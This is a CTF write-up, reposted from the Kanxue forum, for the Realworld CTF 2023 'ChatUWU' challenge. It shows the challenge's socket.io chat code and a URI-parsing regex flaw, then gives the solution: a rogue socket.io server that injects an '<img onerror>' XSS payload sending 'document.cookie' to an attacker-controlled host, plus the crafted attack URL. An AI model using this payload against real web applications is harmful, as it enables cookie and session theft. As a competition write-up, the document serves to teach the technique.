本文为看雪论坛优秀文章
看雪论坛作者ID:pank1s
<script>
function reset() {
location.href = `?nickname=guest${String(Math.random()).substr(-4)}&room=textContent`;
}
let query = new URLSearchParams(location.search),
nickname = query.get('nickname'),
room = query.get('room');
if (!nickname || !room) {
reset();
}
for (let k of query.keys()) {
if (!['nickname', 'room'].includes(k)) {
reset();
}
}
document.title += ' - ' + room;
let socket = io(`/${location.search}`),
messages = document.getElementById('messages'),
form = document.getElementById('form'),
input = document.getElementById('input');
form.addEventListener('submit', function (e) {
e.preventDefault();
if (input.value) {
socket.emit('msg', {from: nickname, text: input.value});
input.value = '';
}
});
socket.on('msg', function (msg) {
let item = document.createElement('li'),
msgtext = `[${new Date().toLocaleTimeString()}] ${msg.from}: ${msg.text}`;
room === 'DOMPurify' && msg.isHtml ? item.innerHTML = msgtext : item.textContent = msgtext;
console.log(msgtext);
messages.appendChild(item);
window.scrollTo(0, document.body.scrollHeight);
});
socket.on('error', msg => {
alert(msg);
reset();
});
</script>
const app = require('express')();
const http = require('http').Server(app);
const io = require('socket.io')(http);
const DOMPurify = require('isomorphic-dompurify');
const hostname = process.env.HOSTNAME || '0.0.0.0';
const port = process.env.PORT || 8000;
const rooms = ['textContent', 'DOMPurify'];
app.get('/', (req, res) => {
res.sendFile(__dirname + '/index.html');
});
io.on('connection', (socket) => {
let {nickname, room} = socket.handshake.query;
if (!rooms.includes(room)) {
socket.emit('error', 'the room does not exist');
socket.disconnect(true);
return;
}
socket.join(room);
io.to(room).emit('msg', {
from: 'system',
// text: `${nickname} has joined the room`
text: 'a new user has joined the room'
});
socket.on('msg', msg => {
msg.from = String(msg.from).substr(0, 16)
msg.text = String(msg.text).substr(0, 140)
console.log(DOMPurify.sanitize(msg.from))
console.log(DOMPurify.sanitize(msg.text))
if (room === 'DOMPurify') {
io.to(room).emit('msg', {
from: DOMPurify.sanitize(msg.from),
text: DOMPurify.sanitize(msg.text),
isHtml: true
});
} else {
io.to(room).emit('msg', {
from: msg.from,
text: msg.text,
isHtml: false
});
}
});
});
http.listen(port, hostname, () => {
console.log(`ChatUWU server running at http://${hostname}:${port}/`);
});
详细分析
let socket = io(`/${location.search}`),
messages = document.getElementById('messages'),
form = document.getElementById('form'),
input = document.getElementById('input');
// imported from https://github.com/galkn/parseuri
/**
* Parses an URI
*
* @author Steven Levithan <stevenlevithan.com> (MIT license)
* @api private
*/
const re = /^(?:(?![^:@]+:[^:@/]*@)(http|https|ws|wss)://)?((?:(([^:@]*)(?::([^:@]*))?)?@)?((?:[a-f0-9]{0,4}:){2,7}[a-f0-9]{0,4}|[^:/?#]*)(?::(d*))?)(((/(?:[^?#](?![^?#/]*.[^?#/.]+(?:[?#]|$)))*/?)?([^?#/]*))(?:?([^#]*))?(?:#(.*))?)/;
const parts = [
'source', 'protocol', 'authority', 'userInfo', 'user', 'password', 'host', 'port', 'relative', 'path', 'directory', 'file', 'query', 'anchor'
];
export function parse(str) {
const src = str, b = str.indexOf('['), e = str.indexOf(']');
if (b != -1 && e != -1) {
str = str.substring(0, b) + str.substring(b, e).replace(/:/g, ';') + str.substring(e, str.length);
}
let m = re.exec(str || ''), uri = {}, i = 14;
while (i--) {
uri[parts[i]] = m[i] || '';
}
if (b != -1 && e != -1) {
uri.source = src;
uri.host = uri.host.substring(1, uri.host.length - 1).replace(/;/g, ':');
uri.authority = uri.authority.replace('[', '').replace(']', '').replace(/;/g, ':');
uri.ipv6uri = true;
}
uri.pathNames = pathNames(uri, uri['path']);
uri.queryKey = queryKey(uri, uri['query']);
return uri;
}
function pathNames(obj, path) {
const regx = //{2,9}/g, names = path.replace(regx, "/").split("/");
if (path.slice(0, 1) == '/' || path.length === 0) {
names.splice(0, 1);
}
if (path.slice(-1) == '/') {
names.splice(names.length - 1, 1);
}
return names;
}
function queryKey(uri, query) {
const data = {};
query.replace(/(?:^|&)([^&=]*)=?([^&]*)/g, function ($0, $1, $2) {
if ($1) {
data[$1] = $2;
}
});
return data;
}
console.log(parse("https://pankas.top/?aaa=test&[email protected]:8080"))
题解
const app = require('express')();
const http = require('http').Server(app);
const io = require('socket.io')(http, {cors: {origin: "*"}});//设置允许跨域
const cors = require('cors');
const hostname = '0.0.0.0';
const port = 7890;
const room = "DOMPurify";
app.use(cors());
app.get('/', (req, res) => {
console.log(req.query.flag);
res.send("hello");
});
io.on('connection', (socket) => {
socket.join(room);
io.to(room).emit('msg', {
from: "pankas",
text: "<img src=1 onerror='location.href=`http://yourHostname:youPort/?flag=${document.cookie}`'>",//为了稳定触发最好还是用 onerror
isHtml: true
});
});
http.listen(port, hostname, () => {
console.log(`ChatUWU server running at http://${hostname}:${port}/`);
});
http://47.254.28.30:58000/?room=DOMPurify&nickname=guest1442@yourHostname:yourPort
参考链接:
看雪ID:pank1s
https://bbs.kanxue.com/homepage-952339.htm
# 往期推荐
3、Kernel PWN-开启smap保护的babydrive
球分享
球点赞
球在看
点击“阅读原文”,了解更多!
原文始发于微信公众号(看雪学苑):Realworld CTF 2023 ChatUWU 详解